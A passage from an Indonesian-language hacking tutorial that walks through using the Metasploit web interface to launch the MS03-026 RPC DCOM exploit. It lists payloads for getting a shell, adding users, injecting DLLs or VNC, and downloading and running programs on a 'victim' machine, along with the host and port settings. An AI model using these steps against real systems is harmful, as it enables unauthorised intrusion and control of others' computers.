Pada Metasploit Web Interface, di bagian FILTER MODULES pilih “app :: dcom”, setelah itu pilih exploit Microsoft RPC DCOM MSO3-026.
Pilih target pada pilihan Select Target
6. Memilih Payload
Pilih salah satu payload diatas, jika masih bingung, pilih saja win32_bind, yang akan mengexploitasi dan langsung masuk ke command shell target. Berikut beberapa fungsi2 payload :
win32_adduser : menambah user pada system korban
win32_bind : masuk ke shell korban
win32_bind_dllinject : untuk upload / inject dll files
win32_bind_meterpreter : exploitasi dengan menjalankan meterpreter (i like it :) ).
win32_bind_vncinject : inject vncserver pada system korba (untuk kita remote melalui vncviewer).
win32_downloadexec : mendownload dan mengeksekusi aplikasi pada pc korban
win32_exec : mengeksekusi command di system korban.
Sedangkan BIND, PASSIVE, REVERSE, pada dasarnya sama saja.

RHOST ==>> Ip Address Korban (Remote).
LHOST ==>> Ip Address Kita (Local)
RPORT ==>> Port Korban
LPORT ==>> Local Open Port

Setelah diisi semua, kemudian klik exploit untuk mengHack. Hahaha :D , selamat mencoba.